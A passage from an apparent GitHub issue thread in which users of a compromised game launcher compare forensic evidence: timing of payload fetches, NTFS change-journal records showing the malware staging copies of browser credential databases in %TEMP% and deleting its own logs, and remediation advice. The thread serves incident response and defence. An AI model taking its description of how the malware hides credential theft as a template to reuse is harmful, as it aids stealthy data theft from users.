Your idea fits what abominablemrtetanus posted in nikke-check issue #25: that launcher loaded the modified files on Oct 20, 27 and 30, then stayed open from Oct 30 to Nov 3 without reloading its page, and never requested the payload. The added code runs when the launcher's page loads, and that is when it fetches l.js. Two PCs are not enough to call it a rule, and I don't know every case where the launcher reloads its page.

Your onominan.tmp time helps too. It was written at 15:52:47 UTC, in the same minute as the GuestReport requests logged at 00:52:26 your time (15:52 UTC if your clock is UTC+9). That supports the write-up's correction that this file comes from Tencent's own software, not from the agent.

Exposed means the loader ran and the agent didn't. Since the launcher was open after Oct 23, changing your passwords from another device is still the advice. Delete tbs_cache before you open the launcher again. There's no need to post the full log.

@Karonuva

Karonuva commented Nov 5, 2026

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What's the guarantee that the phone client wasn't compromised in a different way? If the lack of security was on Level Infinite's side and the phone version still signs in through LI. Have people checked if there's any malicious files on their phones?

@Iwassoobsessedwith

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Two more data points from a confirmed host: the NTFS USN change journal

The agent ran twice on the machine checked here (Nov 3 07:36 and 18:58 UTC+8), which is already in this thread. Reconstructing the NTFS change journal on both volumes gave two things that are dated and testable, so I am posting those rather than the interpretation.

1. browserscan really did copy the browser databases out, down to the second.

On the C: volume, four files were created, written and deleted inside the single second 2026-11-03 07:36:31, which is 8 seconds after the payload started:

%TEMP%\k2f-bcreds-1793662591-814785.db
%TEMP%\k2f-bcreds-1793662591-728967.db
%TEMP%\k2f-bcreds-1793662591-631093.db
%TEMP%\k2f-bcreds-1793662591-777905.db

The number in the name is a Unix epoch: 1793662591 = 2026-11-02 23:36:31Z, the same second as the journal record. The parent directory was resolved through its file ID (fsutil file queryfileid then queryfilenamebyid) and is %TEMP%. That matches the decompiled behaviour in the write-up field for field: browserscan copies each browser database to %TEMP%\k2f-bcreds-<time>-<rand>.db and deletes it after use. Four files, four databases.

This is worth stating because a whole-disk byte search on another victim found no k2f-bcreds and no k2f_screen files, and the thread left that open. Those files are deleted by design, so a content search cannot see them; the change journal keeps the create and delete records after the bytes are gone.

The 18:58 run produced no such files. Same payload, same host, one run with credential staging and one without. If browserscan is conditional, that pair of runs may be worth a closer look.

2. The journal dates a payload download whose file the malware deleted, and on this host there were only two, both on Nov 3.

The launcher writes log\tinyget\tinyget.<time>.log.cdt, renames it to .log in the same second, and the agent deletes it about 4 s after start. The .cdt create record survives in the USN journal, which makes it a dated trace of exactly the file the malware tries to remove.

The D: volume journal here covers roughly 2026-10-15 08:45 to 2026-11-05 18:17 local time. Inside that window the signature appears twice: 2026-11-03 07:36:19 and 2026-11-03 18:58:33 (the two runs already reported). Between Oct 15 and Nov 2 the launcher started more than twenty times (Oct 15, 16, 18, 19, 20 x5, 22, 24, 28, 29, 30, 31, Nov 2), each leaving a tinyget.<start>.log session log, and not one of them downloaded a payload. So the Oct 20-29 window in dispute here is fully covered on this machine and is empty.

Two limits, so this is not read as more than it is. The C: journal on this host covers only Nov 2 20:05 to Nov 5 18:39, so an earlier fetch to a %TEMP%-style path is not excluded. And the D: journal covers D: only. Also, the payload on this machine was named tinyget.<time>.log, not k2f.lua, so it does not substitute for the dated line a4840639 was asked to supply from a different machine.

Method, for anyone with an affected machine and a payload that is already gone: fsutil usn readjournal <vol> csv is read-only and can still show the create record. Check the first and next USN at the top of the output before treating an empty result as a negative, because the default journal can wrap in days.

3. The mobile question (6459169): nothing to add from here.

No Android emulator, no phone-client data, and no mobile-related entries in either journal. The documented command set is PC-oriented, but that is inference rather than evidence, and it should not be read as confirming either way.

@AssessedMen

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@MotherSphere Thanks for the answer. I never use banking on PC, my only concern is probability of running program started with exec, if there any its unsafe to log into accounts, which I already did before realising that there might be a backdoor.
Since no one has reported any actual losses resulting from the breach, I suppose there’s no immediate rush to change my passwords again.
Really appreciate your support on this matter.

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